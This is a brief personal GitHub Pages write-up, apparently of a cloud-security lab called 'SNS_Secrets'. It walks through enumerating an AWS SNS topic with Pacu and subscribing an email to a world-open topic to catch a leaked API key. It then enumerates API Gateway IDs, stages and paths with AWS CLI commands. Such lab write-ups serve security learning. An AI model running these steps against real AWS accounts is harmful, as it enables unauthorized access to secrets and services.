root💀senseicat:~#

Hack. Eat. Sleep. Repeat!!!

---

Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

---

SNS_Secrets

---

• Enumerating for sns_topics with Pacu-:

  Amazon Simple Notification Service (Amazon SNS) is a managed service that provides message delivery from publishers to subscribers (also known as producers and consumers). Publishers communicate asynchronously with subscribers by sending messages to a topic, which is a logical access point and communication channel.

  run sns__enum --region us-east-1
  

• Enter data to check the data

• If our IAM user has “sns:Get-Topic-Attributes” action or permission to the target SNS topic, we can then run the command below to get more info of the SNS.It is set to wild card which means anyone can subscribe to it.

aws sns get-topic-attributes --topic-arn  --profile sns_secrets| jq

• Use sns_subscribe to exploit it.

run sns__subscribe --topics <arn:number> --email <email>

• You get a mail, then you subscribe to it and wait for an api key.

• Enumerating api gateways-:

aws apigateway get-rest-apis --profile sns-secrets --region us-east-1
aws apigateway get-rest-apis --profile sns_secrets --region us-east-1 --query "items[*].id" | jq

• This provides the id of the api gateway that we can use for further enumeration like Stage name and Resource Path.

aws apigateway get-stages --rest-api-id [API ID] --profile sns-secrets --region us-east-1
aws apigateway get-resources --rest-api-id [API ID] --profile sns-secrets --region us-east-1

• Next thing is to make a request to the rest-api with curl

https://[api id].execute-api.us-east-1.amazonaws.com/[stage name]/[path]

---